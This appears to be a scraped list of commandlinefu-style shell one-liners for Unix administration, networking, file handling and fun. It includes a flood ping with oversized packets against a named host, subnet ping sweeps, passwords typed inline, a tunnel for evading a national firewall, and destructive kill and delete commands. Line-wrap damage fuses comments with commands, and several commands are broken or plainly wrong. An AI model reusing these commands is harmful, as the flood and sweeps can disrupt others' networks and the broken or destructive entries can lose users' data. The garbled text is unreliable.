find . -name "*.gz" | xargs -n 1 -I {} bash -c "gunzip -c {} | sort | gzip -c --best > {}.new ; rm {} ; mv {}.new {}"
# Get your IP addresses
ifconfig | grep -o "inet [^ ]*" | cut -d: -f2
# netstat with group by (ip adress)
netstat -ntu | awk ' $5 ~ /^[0-9]/ {print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
# Append output to the beginning of a file.
command > tmp && cat logfile.txt >> tmp && tmp > logfile.txt && rm tmp
# Go to end of current command line
CTRL + e
# kill all instances of an annoying or endless, thread-spawning process
ps auxwww | grep outofcontrolprocess | awk '{print $2}' | xargs kill -9
# Terrorist threat level text
echo "Terrorist threat level: `sed $(perl -e "print int rand(99999)")"q;d" /usr/share/dict/words`"
# Kills all processes for a certain program
kill -9 $(pidof process)
# Find files and list them sorted by modification time
ls -rl --time-style=+%s * | sed '/^$/,/^total [0-9]*$/d' | sort -nk6
# Find files and list them with a readable informative output
find . -type f | sed 's,.*,stat "&" | egrep "File|Modify" | tr "\\n" " " ; echo ,' | sh | sed 's,[^/]*/\(.*\). Modify: \(....-..-.. ..:..:..\).*,\2 \1,' | sort
# reset the bizzarre gone junk terminal to normal
echo "Xc" | tr "Xo" "\033\017
# Cleanly quit KDE4 apps
kquitapp plasma
# Replace spaces with tabs & format file source recursuvely within a directory
find $DIR -name *.php -exec vim -u NONE -c 'set ft=php' -c 'set shiftwidth=4' -c 'set tabstop=4' -c 'set noexpandtab!' -c 'set noet' -c 'retab!' -c 'bufdo! "execute normal gg=G"' -c wq {} \;
# color grep with specification of colors with GREP_COLOR env variable
setenv GREP_COLOR '1;37;41'
# Recursively deletes DIR directories
find . -type d -name DIR -exec rm -r {} \;
# Find all uses of PHP constants in a set of files
$class=ExampleClass; $path=src; for constant in `grep ' const ' $class.php | awk '{print $2;}'`; do grep -r "$class::$constant" $path; done
# Find files and list them sorted by modification time
find . -type f | xargs ls -ltrhg
# commit message generator - whatthecommit.com
curl -s http://whatthecommit.com/ | tr -s '\n' ' ' | grep -so 'p>\(.*\)</p' | sed -n 's/..\(.*\)..../\1/p'
# Update many subversion projects which reside in one directory
for d in $(find . -maxdepth 1 -type d -name '[^.]*'); do cd "$d"; svn up; cd ..; done
# Identify files uniquly in a FS with inode numer
ls -i1 filename
# irssi log histogram
awk '/^--- Day changed (.*)/ {st=""; for (i=0;i<ar[date];i++) {st=st"*"} print date" "st; date=$7"-"$5"-"$6} /> emergency/ {ar[date]++} END {st=""; for (i=0;i<ar[date];i++) {st=st"*"}; print date" "st}' #engineyard.log
# Buscar archivos con la extension mp3 y mostrar el conteo de resultados
find -D rates . -name "*.mp3" -type f
# intersection between two files
sort file1 file2 | uniq -d
# An alias for pasting code/data into terminal without it doing anything. Add to
.bashrcalias cn='cat > /dev/null'
# Read multiple lines of a file based on regex matching a single line
for i in `grep -n "SomeRegEx" foo.txt | sed 's/:/ /' | awk '{print $1}'`; do echo "head -n `echo "$i+4" | bc` foo.txt | tail -n 5"; done > headsandtails.sh
# Randomize GNU grep's color
cgrep() { GREP_COLOR="1;3$((RANDOM%6+1))" grep --color=always "$@" }
# Fast searh Ubntu software repo
alias acs='apt-cache search'
# wget ? server to server files transfer
wget -H -r ?level=1 -k -p http://www.domain.com/folder/
# MAC OS X: audible notification after a long command
long_command; say I am all done
# strip ^M character from files in VI
:%s/<control-VM>//g
# Backup a file before editing it.
man emacs
# oneliner to open several times same application
i="0"; while [ $i -lt 5 ] ; do xpenguins & i=$[$i+1] ; done
# show system installation date
tune2fs -l $(df -P / | tail -n1 | cut -d' ' -f1 ) | grep 'Filesystem created:'
# sudo for launching gui apps in background
sudo ls ; sudo gedit /etc/passwd &
# Generate MD5 of string and output only the hash checksum
echo -n "String to MD5" | md5sum | cut -f1 -d' '
# List your FLAC albums
find -iname '*.flac' | sed 's:/[^/]*$::' | uniq
# Get your external IP address
html2text http://checkip.dyndns.org | grep -i 'Current IP Address:'|cut -d' ' -f4
# List dot-files and dirs, but not "." and ".."
ls .[!.]*
# unpack all rars in current folder
unrar x *.rar
# Execute a command if a file exists
grep -sq "" /etc/lsb-release && lsb_release -rd
# View entire process string
/usr/ucb/ps -auxgww
# count number of CPU available for members of a given Virtual Organization
echo `lcg-infosites --vo lhcb ce | cut -f 1| grep [[:digit:]]| tr '\n' '+' |sed -e 's/\ //g' -e 's/+$//'`|bc -l
# Minimize CSS/JS while preserving functionality.
gominify() { if [ $# -ne 2 ]; then echo 'gominify < src > < dst >'; return; fi; s="$1"; d="$2"; java -jar yui.jar $s >$d; if [ $? == 0 ]; then a=$( ls -sh $s | awk '{print $1}' ); b=$( ls -sh $d | awk '{print $1}' ); echo "Saved $s ($a) to $d ($b)"; fi;}
# watch filesizes (c.f. logfiles, file downloading, etc.)
while [ 1 ]; do date; ls -l /path/to/dir; sleep 1; done
# Remove all files previously extracted from a tar(.gz) file.
tar -tf <file.tar.gz> | parallel rm
# Batch file suffix renaming
rename -n "s/-.*//" *
# Convert your getters to setters
:s/get\(\w\+\)()/set\1($value)/g
# read a file with table like data
echo 1 2 3 > FILE; while read -a line; do echo ${line[2]}; done < FILE
# generate random password
tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 10 | sed 1q
# Kill XMMS for a cron job
kill `ps aux | grep xmms | grep -v grep | awk '{ print $2 }'`
# A handy calculator
bc
# add all files not under version control to repository
svn status |grep '\?' |awk '{print $2}'| parallel -Xj1 svn add
# Leap year calculation
leapyear() { if [ $[$1 % 4] -eq 0 ] && [ $[$1 % 100] -ne 0 ] || [ $[$1 % 400] -eq 0 ]; then echo $1' is a leap year!'; else echo $1' is not a leap year.'; fi; }
# Remove everyting in a text file. Useful to fix ssh host key warnings
> ~/.ssh/known_hosts
# get newest file in current directory
ls -t1 | head -n1
# get line#1000 from text.
head -1000 < lines.txt | tail -1
# Kill XMMS for a cron job
killall xmms
# how to like to know if a host is ON
for ip in $(seq 1 25); do ping -c 1 192.168.0.$ip>/dev/null; [ $? -eq 0 ] && echo "192.168.0.$ip UP" || : ; done
# Back up a PLESK Installation
/opt/psa/bin/pleskbackup server -v --output-file=plesk_server.bak
# Check your ip public using dyndns.org
wget -O - -q http://checkip.dyndns.org/ | cut -d':' -f2 | cut -d'<' -f1| cut -c2-
# Commit all the changes in your java code
svn st | grep /main/java | awk '{print $2}' | xargs echo | xargs svn ci -m "my comment here"
# Query for installed packages on RHEL boxes, and format the output nicely
rpm -qa --queryformat 'Installed on %{INSTALLTIME:date}\t%{NAME}-%{VERSION}-%{RELEASE}: %{SUMMARY}\n'
# Check if file is greater than 20 bytes, such as an empty gzip archive
BACKUP_FILE_SIZE=`eval ls -l ${BACKUP_FILE} | awk {'print $5'}`; if [ $BACKUP_FILE_SIZE -le 20 ]; then echo "its empty"; else echo "its not empty"; fi
# Minimize CSS/JS while preserving functionality.
java -jar compiler.jar --js file.js
# archive all files containing local changes (svn)
svn st | cut -c 9- | parallel -X tar -czvf ../backup.tgz
# top
top
# Discover media files from a web page
sudo ngrep -lqi -p -W none ^get\|^post tcp dst port 80 -d eth0 | egrep '(flv|mp4|m4v|mov|mp3|wmv)'
# search for groups in ldap
ldapsearch -H ldap://localhost:389 -D cn=username,ou=users,dc=domain -x -W -b ou=groups,dc=domain '(member=cn=username,ou=users,dc=domain)' | grep ^dn | sed "s/dn\: cn=\([^,]*\),ou=\([^,]*\),.*/\2 \1/"
# perl one-liner to get the current week number
perl -e 'use Date::Calc qw(Today Week_Number); $weekn = Week_Number(Today); print "$weekn\n"'
# Get your public IP using chisono.it
wget -O - -q http://www.chisono.it/ip.asp && echo
# List top ten files/directories sorted by size
du -s * | sort -nr | head | cut -f2 | parallel -k du -sh
# Search and replace in VIM
:%s/foo/bar/g
# iiterate through argument list and pass to command
yes|for x in one two three; do echo result - $x; done
# count how many times a string appears in a (source code) tree
grep -rc logged_in app/ | cut -d : -f 2 | awk '{sum+=$1} END {print sum}'
# List the vms in Virtualbox and start them using dmenu
vboxmanage startvm --type gui $(vboxmanage list vms | sed -e 's/"//g' | cut -f1 -d ' ' | dmenu -i -p "VMs")
# Creates a random passwort from /dev/urandom [0-9A-za-z]
head -c $((<pw-lenght>-2)) /dev/urandom | uuencode -m - | sed -e '1d' -e '3d' | sed -e 's/=.*$//g'
# Reading my nic's mac address
ifconfig | grep eth | awk '{print $5}'
# Get internal and external IP addresses
ips(){ for if in ${1:-$(ip link list|grep '^.: '|cut -d\ -f2|cut -d: -f1)};do cur=$(ifconfig $if|grep "inet addr"|sed 's/.*inet addr:\([0-9\.]*\).*/\1/g');printf '%-5s%-15s%-15s\n' $if $cur $(nc -s $cur sine.cluenet.org 128 2>/dev/null||echo $cur);done;}
# Get a list of all contributors to an SVN repo
svn log -q | grep -v "^-" | cut -d "|" -f 2 | sort -u
# Find size of the files in this directory tree. (sorted)
find . -type f -exec ls -s \{\} \; | sort -n
# reverse order of file
tac $FILETOREVERSE
# Shows your WAN IP, when you`re sitting behind a router
alias myip='curl -s www.wieistmeineip.de | egrep -o "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"'
# search for a pattern (regex) in all text files (ignoring binary files) in a di
rectory treeegrep -i "somepattern" `find . -type f -print`
# show large folders and files, including hidden
du -shc .[^.]* * | grep [MG]
# Get My Public IP Address
links2 -dump http://checkip.dyndns.com| egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
# ps -ef | grep PROCESS | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep PROCESS | grep -v grep | awk '{print $2}' | xargs kill -9
# Get all links of a website
wget -O- -q http://www.nomachine.com/download-package.php?Prod_Id=2067 | sed -n -e 'H;${x;s/\n/ /g;p;}' | sed -e "s/[Hh][Rr][Ee][Ff]=\"/\n/g" | cut -d "\"" -f1 | sort -u | grep deb$
# Gconf Editor command line
gconftool --set /option/to/set --type=some_type value
# Search for a running process through grep
ps -e | grep SearchStringHere
# psgrep
pgrep <name>
# Removing Backgroud Process
kill -9 `ps -u user -o "pid="`
# Get the latest version of phpMyAdmin
wget http://tools.web4host.net/versions.tmp --quiet -O - | grep PHPMYADMIN | sed 's/PHPMYADMIN=//' | cat
# alias for lsof -i -T -n
alias lso="sudo lsof -i -T -n"
# Get the host from where you logged in
who -m | sed 's/.*(\(.*\)).*/\1/'
# Random number less than X
RANGE=500;number=$RANDOM let "number %= $RANGE"; echo "Random number less than $RANGE --- $number"
# Get all links of a website
lynx -dump http://www.domain.com | grep http| awk '{print $2 }'
# Simultaneously running different Firefox profiles
firefox -ProfileManager -no-remote
# get newest file in current directory
find . -maxdepth 1 -type f -printf '%A@\t%p\n' | sort -r | cut -f 2,2 | head -1
# Find the svn directory that a commit was made in. Usefull if you have many pr
ojects in one repository.echo "12345,12346" |sed -e's/ //'|tr "," "\n"| while read line; do echo -n $line" "; svn log -vr $line https://url/to/svn/repository/|grep "/"|head -1|cut -d"/" -f2; done
# Remove spaces and convert to lowercase filename with a certain extension, to b
e saved and called as a script with the extension as an argument.for i in ./*.$1; do mv "$i" `echo $i | tr ' ' '_'`; done for i in ./*.$1; do mv "$i" `echo $i | tr '[A-Z]' '[a-z]'`; done for i in ./*.$1; do mv "$i" `echo $i | tr '-' '_'`; done for i in ./*.$1; do mv "$i" `echo $i | tr -s '_' `; done
# Append current directory to $PATH temporarily.
export PATH=$PATH:`pwd`
# Find out the starting directory of a script
current_dir=$(cd $(dirname $BASH_SOURCE);pwd)
# find and kill a pid for APP
ps -ef | grep APP | awk '/grep/!{print$2}' | xargs -i kill {}
# watch porn on older mobile phones
function encode4phone() { ffmpeg -acodec libamr_nb -vcodec h263 -i "$1" -s qcif -b 200k -ac 1 -ab 7.4k -ar 8000 "$1.3gp" }
# kill all processes with name or argument
pkill -f foo
# Sort all the ".dat" files in current directory by column 3 (change it accordin
gly), and replace the sorted one with original.for x in *.dat;do sort -k 3 $x >tmp && mv -f tmp $x;done
# Figure out what shell you're running
echo $SHELL
# Laminate a file
awk '{print(substr($0,1,5))}' file
# Shows users and 'virtual users' on your a unix-type system
cut -d: -f1 /etc/passwd | sort
# Get all links of a website
lynx -dump http://domaim.com | egrep -o -e 'http://[/0-9a-z.]+html'
# Get your external IP address
exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]};
# Show the UUID of a filesystem or partition
ls /dev/disk/by-uuid/ -alh
# List your MACs address
cat `ls -r /sys/class/net/*/address` | sort -u
# Show all "python" executables
type -a python
# create tar.gz archive
tar -pczf archive_name.tar.gz /path/to/dir/or/file
# Echo the local IP addresses of the machines on your local network
for i in 192.168.1.{61..71};do ping -c 1 $i &> /dev/null && echo $i;fi;done
# How far is Mac OS X 10.6 from 64-bit?
file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl | tail -1 | cut -f1 -f3; file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i "mach-o object i386" |nl | tail -1 | cut -f1 -f3
# Show Network IP and Subnet
IP=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 2 | cut -d " " -f 1`;SUBNET=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 3 | cut -d " " -f 1`;RANGE=`ipcalc $IP/$SUBNET | grep "Network:" | cut -d ' ' -f 4`;echo $RANGE
# paged 'ls' in color
ls -lah --color=always | most
# finds all files in dir and replaces
find . -type f -exec sed -i 's/gw10./gw17./g' {} \;
# Show all cowsay's available cowfiles
cowsay -l | sed '1d;s/ /\n/g' | while read f; do cowsay -f $f $f;done
# Look for jQuery version script include in files *asp*$, *htm*$ ie. not *.aspx.
csfind . \( -name "*.as[pc]x" -o -name "*.htm*" \) -exec grep -Hi "jquery-1" {} +
# Force log creation when running an msi install
msiexec.exe /i product.msi /l* c:\folder\LogFileName.txt
# Find the average QTime for all queries ran within the last hour for solr
cat /service/solr/log/main/current | tai64nlocal | grep "\(`date '+%F %H'`\|`date '+%F %H %M' | awk '{print $1" 0"$2-1":"$3}'`\)" | grep QTime | awk '{print $NF}' | awk -F\= '{ s += $2} END {print s/NR}'
# Get name of first configured interface
ifconfig | grep -B 1 "inet addr:" | head -1 | cut -d" " -f1
# pass CHINA GFW
plink -v -ssh -N -D 8580 -l USERNAME -pw PASSWARD 192.168.2.12
# edit files in current and subdir, remove all lines that containing certain str
inggrep -r "sampleString" . |uniq | cut -d: -f1 | xargs sed -i "/sampleString/d"
# Easy Regex based mass renaming
ls /some/directory | sed -rn -e 's/input_file_regex/mv -v & output_file_name/p' | sh
# Set background image to random file from current dir.
feh --bg-center `ls -U1 |sort -R |head -1`
# Script para hacer un acopia d ela base de datos mysql
FECHA=$(date +"%F") FINAL="$FECHA.sql.gz" mysqldump -h localhost -u user --password="pass" --opt jdiaz61_lupajuridica | gzip > /home/jdiaz61/www/backup/$FINAL
# Find all files and append to file
find . type f -exec echo http://exg.com/{} \; > file
# Set background image to random file from current dir.
feh --bg-center `ls | shuf -n 1`
# Get me only those jpeg files!
wget --mirror -A.jpg http://www.xs4all.nl/~dassel/wall/
# Print man pages to PDF (yes, another one)
man -t [command] | lp -d PDF -t [command].pdf
# Find default gateway
route -n | awk '$2 ~/[1-9]+/ {print $2;}'
# Creating a RAID-Z Storage Pool
zpool create tank raidz c0t0d0 c0t1d0 c0t2d0 c0t3d0 c0t4d0 c0t5d0
# Get ethX mac addresses
sudo ifconfig -a | grep eth | grep HW | cut -d' ' -f11
# Get your public IP using chisono.it
curl http://www.chisono.it/ip.asp
# Creating a Mirrored Storage Pool using Zpool
zpool create tank mirror c0t0d0 c0t1d0 mirror c0t2d0 c0t3d0
# Change password in list of xml files with for and sed
for i in *.xml; do sed -i 's/foo/bar/g' "$i"; done
# if download end,shutdown
for ((;;)) do pgrep wget ||shutdown -h now; sleep 5; done
# Rename files in a directory in an edited list fashion
ls > ls; paste ls ls > ren; nano ren; sed 's/^/mv /' ren|bash; rm ren ls
# Extract specific lines from a text file using Stream Editor (sed)
sed -n -e 1186,1210p A-small-practice.in
# Creating a ZFS Storage Pool by Using Files
zpool create tank /path/to/file/a /path/to/file/b
# Save the network interface info into a text file, so that you can re-apply it
laternetsh interface ip dump > current-interfaces.txt
# remove OSX resource forks ._ files
rm -f `find ./ | grep "\.\_.*"`
# Echo several blank lines
perl -e 'print "\n"x100'
# Killing multiplpe process for one program like apache, wget, postfix etc.
ps aux| grep -v grep| grep httpd| awk {'print $2'}| xargs kill -9
# Finding hostname and the IP Address of your machine
host `hostname`
# Recursive Line Count
wc -l `find . -name *.php`
# view file content with echo
echo "$(</etc/issue)"
# Search recursively to find a word or phrase in certain file types, such as C c
odefind . -name "*.[ch]" -print | xargs grep -i -H "search phrase"
# Open the Windows Explorer from the current directory
explorer /e,.
# Speak your horoscope with the command line
curl -s 'http://www.trynt.com/astrology-horoscope-api/v2/?m=2&d=23' | xmlstarlet sel -t -m '//horoscope' -v 'horoscope' | festival --tts
# Execute commands from a file in the current shell
. filename [arguments]
# Directly change directory without having to specify drive letter change comman
dcd /d d:\Windows
# IP address of current host
hostname -i
# simple echo of IPv4 IP addresses assigned to a machine
ifconfig | awk '/inet addr/ {print $2 }' | sed 's/.*://g'
# List content of a package (debian derivative distro)
dpkg -L Your_Package
# Remove all unused kernels with apt-get
sudo aptitude remove -P $(dpkg -l|awk '/^ii linux-image-2/{print $2}'|sed 's/linux-image-//'|awk -v v=`uname -r` 'v>$0'|sed 's/-generic//'|awk '{printf("linux-headers-%s\nlinux-headers-%s-generic\nlinux-image-%s-generic\n",$0,$0,$0)}')
# Command for getting the list of files with perms, owners, groups info. Useful
to find the checksum of 2 machines/images.find / | xargs ls -l | tr -s ' ' | cut -d ' ' -f 1,3,4,9
# find dis1k space
du -s `find . -maxdepth 1 \! -name '.'` | sort -n | tail
# umount all nfs mounts on machine
mount | awk '/:/ { print $3 } ' | xargs sudo umount
# Show the meta information on a package (dependency , statuts ..) on debian der
ivative distroapt-cache show Your_package
# Transforms a file to all uppercase.
perl -pi -e 's/([[:lower:]]+)/uc $1/gsex' file
# Find files modified in the last 5 days, no more than 2 levels deep in the curr
ent directory.find . -type f -depth -3 -mtime -5
# Killing multiplpe process for one program like apache, wget, postfix etc.
ps ax| awk '/[h]ttpd/{print $1}'| xargs kill -9
# Find Files over 20Meg
find / -type f -size +20000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
# build cscope.out from all *.{h,cpp}, but ignore hidden files
find /qt/src -name '.*' -prune -o \( -name *.h -o -name *.cpp \) -print | cscope -bi-
# Read just the IP address of a device
ifconfig $DEVICE | perl -lne '/inet addr:([\d.]+)/ and print $1'
# Convert files with CR-terminated lines (as created by Mac OS X programs) into
NL-terminated lines suitable for Unix programsfunction crtonl { perl -i -ape 's/\r/\n/g;' $* ; }
# Read just the IP address of a device
/sbin/ifconfig eth0 | grep "inet addr" | sed -e 's/.*inet addr:\(.*\) B.*/\1/g'
# dos2unix recursively
find . -type f -exec dos2unix {} +
# Ruby - nslookup against a list of IP`s or FQDN`s
ruby -e 'File.foreach("list") {|i| print `nslookup #{i}`}'
# Set your computer's clock, using HTTP and HTP (HTTP Time Protocol), when NTP/S
NTP is not availablehtpdate -P proxy www.google.com www.yahoo.com www.commandlinefu.com
# ssh autocomplete
complete -W "$(while IFS=' ,' read host t; do echo $host; done < ~/.ssh/known_hosts)" ssh
# Find the correct PID
pss() { ps -eo pid,args | sed '/'"$1"'/!d;/sed/d' ; }
# Echo PID of the current running command
command & echo $!
# Show regular expressions on directory list
lgrep() { /bin/ls -A --color=always ${2:-.} | /bin/grep $1 ; }
# Calculate 1**2 + 2**2 + 3**2 + ...
seq -s^2+ 11 |rev| cut -d'+' -f2- | rev | bc
# Find the correct PID
pgrep -fl
# Double Compile system and world on gentoo
emerge -e system && emerge -e system && emerge -e world && emerge -e world
# Print a row of 50 hyphens
printf "%50s\n"|tr ' ' -
# Display clock in terminal
watch -n 1 :
# Count emails in an MBOX file
grep -c '^From ' mbox_file
# Print sorted list of all installed packages (Debian)
perl -m'AptPkg::Cache' -le '$c=AptPkg::Cache->new; for (keys %$c){ push @a, $_ if $c->{$_}->{'CurrentState'} eq 'Installed';} print for sort @a;'
# Get Yesterday's Date
YEST=`perl -w -e '@yest=localtime(time-86400);printf "%d%.2d%.2d",$yest[5]+1900,$yest[4]+1,$yest[3];'`
# Normalize volume in your mp3 library
find . -type d -exec sh -c "normalize-audio -b \"{}\"/*.mp3" \;
# Get Tomorrow's Date
TOM=`perl -w -e '@tom=localtime(time+86400);printf "%d%.2d%.2d",$tom[5]+1900,$tom[4]+1,$tom[3];'`
# Securely seeing the password file over the network
vipw
# VIM subst any char different from literal
:g/\n"/jo
# List path of binaries
echo $PATH|awk -F: ' { for (i=1; i <= NF; i++) print $i }'
# Securely look at the group file over the network
vigr
# Generate background office noise using Digg feeds and OSX.
IFS=`echo -en "\n\b"`; for i in $(curl http://feeds.digg.com/digg/container/technology/popular.rss | grep '<title>' | sed -e 's#<[^>]*>##g' | tail -n10); do echo $i; echo $i | sed 's/^/Did you hear about /g' | say; sleep 30; done
# substitute in each buffer in the buffer list
:bufdo %s/foo/bar/ge | up
# Securely edit the sudo file over the network
visudo
# Print sorted list of all installed packages (Debian)
dpkg --get-selections | awk '$2=="install" {print $1}' | sort
# dont forget commands of old profile
wget http://www.commandlinefu.com/commands/by/e7__7dal
# Send packet by ping
sudo ping -f -c 999 -s 4500 target.com
# Open windows executable, file, or folder from cygwin terminal
explorer $( cygpath "/path/to/file_or_exe" -w )
# To retrieve a normal prompt
PS1='$PWD$ '
# Killing a process in Windows 7 command line
Taskkill /?
# View memory utilisation
sar -r
# This command will tell the last login and reboot related information
last
# Save lines unique to file2
comm -13 <(sort file1) <(sort file2) > file-new
# easly monitor mem usage
watch -n1 --differences cat /proc/meminfo
# Blinking, Color Highlighted search for input/output and files, like grep --col
orhb(){ sed "s/\($*\)/`tput setaf 2;tput setab 0;tput blink`\1`tput sgr0`/gI"; }
# Simple Find
find / -name FILENAME
# Changing Hostname on Mac OS X
sudo scutil --set HostName MY_NEW_HOSTNAME
# Get all the reference docs for OS X from Apples Developer Connection site
wget -nd -nH -r -A pdf -I library/mac/documentation/ http://developer.apple.com/library/mac/navigation/#section=Resource%20Types&topic=Reference
# Lists installed kernels
aptitude search \~ilinux-image
# Push all local branches to remote repo
git push origin --all
# From an SVN working directory, open the corresponding repository directory in
your favorite browser$BROWSER $(svn info | sed -n '/URL:/s/URL: //p')
# Broadcast message to all logged in terminal users.
cat welcome | wall
# Forget fortunes in your terminal this grabs a random
wget -qO - snubster.com|sed -n '65p'|awk 'gsub(/<span><br>.*/,"")&&1'|perl -p -e 's:myScroller1.addItem\("<span class=atHeaderOrange>::g;s:</span> <span class=snubFontSmall>::g;s:&quot;:":g;s:^:\n:g;s:$:\n:'
# Delete all but the latest 5 files
ls -t | awk 'NR>5 {system("rm \"" $0 "\"")}'
# Watch for blocked NGINX processes for tuning purposes
> /tmp/psup.log; watch "ps up $(pgrep -d, -x nginx) | grep -v STAT | awk '{print $8}' | grep -c [ZUTD] >> /tmp/psup.log; tail -n 22 /tmp/psup.log"
# Show internet IP Address in prompt --> PS1 var
export PS1="[\u@`curl icanhazip.com` \W]$ "
# Reload gnome-panel
pgrep -lf gnome-panel | awk '{if ($2=="gnome-panel") print $1}' | xargs kill -9
# Print only the even lines of a file
awk '{if (NR % 2 == 0) print $0}' file.txt
# Ping scanning without nmap
prefix="10.0.0" && for i in `seq 25`; do ping -c 1 $prefix.$i &> /dev/null && echo "Answer from: $prefix.$i" ; done
# Start a Google Chrome profile with an X11 based interactive prompt
/opt/google/chrome/google-chrome --user-data-dir=$HOME/.config/google-chrome/`zenity --entry --text="Enter a profile name:"`
# hexadecimal2decimal
printf "%d\n" \0x64
# to display number of lines in a file without using wc command
sed -n "$=" fileName
# To reduce the size of saved webpages
find /path/to/webpages -type f -name '*.js' -exec 'rm' '{}' \;
# Chmod all files (excluding directories)
find public_html/ -type f -exec chmod 664 {} \;
# rkhunter (Rootkit Hunter) is a Unix-based tool that scans for rootkits, backdo
ors and possible local exploits. rkhunter is a shell script which carries out various checks on the local system to try and detect known rootkits and malware. It also performs crkhunter --check
# Batch rename extension of all files in a folder, in the example from .txt to .
mdrename .txt .md *.txt
# Selecting a random file/folder of a folder
for i in *; do echo "$i"; done | shuf -n1
# create backup for all files from current dir
find . -maxdepth 1 -type f -print0 | xargs -0 -i cp ./{}{,.bak}
# Grep with one result at a time
search="whatyouwant";data=$(grep "$search" * -R --exclude-dir=.svn -B2 -A2);for((i=$(echo "$data" | wc -l);$i>0;i=$(($i-6)) )); do clear;echo "$data"| tail -n $i | head -n 5; read;done
# Replace spaces in filename
ls | while read -r FILE; do mv -v "$FILE" `echo $FILE | tr -d ' '`; done
# Show files and subdirectories in Terminal and copy output into a file
ls -la | tee ~/log.txt
# Sort files by size
ls -lS
# How To Get the Apache Document Root
grep -i '^DocumentRoot' /etc/httpd/conf/httpd.conf | cut -f2 -d'"'
# Launch an Explorer window with a file selected
explorer /select,[file]
# simulates the DOS tree command that you might be missing on your Mac or Linux
boxfind . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'
# monitor the operation of a MySQL application in real time
mtop se -1
# List your MACs address
ip addr show eth0 | grep ether | awk '{print $2}'
# Add some color to ls
eval "`dircolors -b`"
# Get your local/private IP
localIP() { ifconfig ${1:--a} | sed '/Link encap\|inet\|6 addr/!d;s/Link encap.*$//;s/.*inet addr:\([0-9\.]*\).*/\1/g;s/.*inet6 addr: \(.*\) .*/\1/g' ; }
# Fast, built-in pipe-based data sink
command >&-
# Check failed logins from ipop service at some time given at linux
more /var/log/auth.log |grep "month"|grep ipop|grep "failed"|wc -l
# Generate SHA1 hash for each file in a list
sha1sum * >> SHA1SUMS
# Toggle the Touchpad on or off
xinput list | grep -i touchpad
# regex to match an ip
echo "123.32.12.134" | grep -P '([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])'
# List files in tarballs
find <path> -name "*.tgz" -or -name "*.tar.gz" | while read file; do echo "$file: "; tar -tzf $file; done
# Open file with sudo when there is no write-permission
vi2() {for i in $@; do [ -f "$i" ] && [ ! -w "$i" ] && sudo vim $@ && return; done; vim $@}
# Turn Regular quotes ("") into curly quotes (??)
smartypants | php -r "echo mb_decode_numericentity(file_get_contents('php://stdin'),array(0x0000,0xFFFF,0x0000,0xFFFF),'UTF-8');"
# Display the open files for a process in AIX
svmon -P [PID] -O filename=on
# Get own public IP address
wget -qO- whatismyip.org
# find files containing specifc pattern on filename and specific patternts in it
s content, open all in textmatefind . -name "*noticia*" -name "*jhtm*" -name "*.tpl" -exec grep -li "id=\"col-direita\"" '{}' \; | xargs -n1 mate
# Nice way to view source code
over myscript.sh
# Get all IPs via ifconfig
ifconfig | grep "inet addr" | cut -d: -f2 | cut -d' ' -f1
# bash / vim workflow
vim -
# shutdown pc in a 4 hours
echo "shutdown -h now" | sudo at now + 4 hours
# Uptime in minute
awk '{print $0/60;}' /proc/uptime
# Display lines with a given string
look mysql /etc/group
# ssh autocomplete
complete -W "$(echo `cat .bash_history | egrep '^ssh ' | sort | uniq | sed 's/^ssh //'`;)" ssh
# get one field inside another that is delimited by space
cut -f2 file.txt | cut -d " " -f1
# Automatd ssh public key setup without ssh-copy-id
echo 'Host or User@Host?:'; read newserver && ssh-keygen -N "" -t rsa -f ~/.ssh/id_rsa ; ssh $newserver cat <~/.ssh/id_rsa.pub ">>" ~/.ssh/authorized_keys ; ssh $newserver
# bash / vim workflow
zsh$ M-v
# Random Cyanide and Happiness comics from explosm.net
cyanide(){ display "$(wget -q http://explosm.net/comics/random/ -O - | grep -Po 'http://www.explosm.net/db/files/Comics/*/[^"]+(png|jpg|jpeg)')"; }
# Takes a multi line df or bdf and turns it into just one line
bdf | awk '(NF<5){f=$1; next} (NF>5){f=$1} {print f, $2, $3, $NF}'
# Lists the size of certain file in every 10 seconds
while true ; do du -sk testfile ; sleep 10 ; done
# List files in tarballs
for F in $(find ./ -name "*.tgz") ; do tar -tvzf $F ; done
# sshdo, an alternative to sudo
alias sshdo='ssh -q -t root@localhost -- cd $PWD \&\& sudo'
# List files with quotes around each filename
ls | sed 's/.*/"&"/'
# Extract .daa files with PowerISO
./poweriso extract $USER/file.daa / -od $USER/file_extracted
# Scan for viruses
clamscan -ir --bell ~user/
# Get My Public IP Address
curl http://whatismyip.org
# Undo
[Ctrl+u]
# Edit all "text" files (exclude binary and directories) in the current director
yls . | xargs file | grep text | sed "s/\(.*\):.*/\1/" | xargs gedit
# List alive hosts in specific subnet
for i in 192.168.1.{1..254} ; do if ping -c1 -w1 $i &>/dev/null; then echo $i alive; fi; done
# Real full backup copy of /etc folder
tar -cf - /etc | tar -xf - -C </destination/folder>
# wmi
wmic -U DOMAIN/user --password='password' //IP_HOST "select Caption,CSDVersion,CSName from Win32_OperatingSystem" | grep Windows
# free swap
free -m | awk '/Swap/ {print $4}'
# Find all dot files and directories
ls -a | egrep "^\.\w"
# Facebook e-mail header X-Facebook IP deobfuscator
echo "X-Facebook: from zuckmail ([MTI3LjAuMC4x])" | cut -d \[ -f 2 | cut -d \] -f 1 | openssl base64 -d
# tar+pbzip2 a dir
tar -c directory_to_compress/ | pbzip2 -vc > myfile.tar.bz2
# mount a msdos formated floppy disk
mount -t msdos /dev/fd0 /mnt/floppy
# Remove Thumbs.db files from folders
rm -fr `find . -name Thumbs.db`
# Download random gifs from gifbin.com
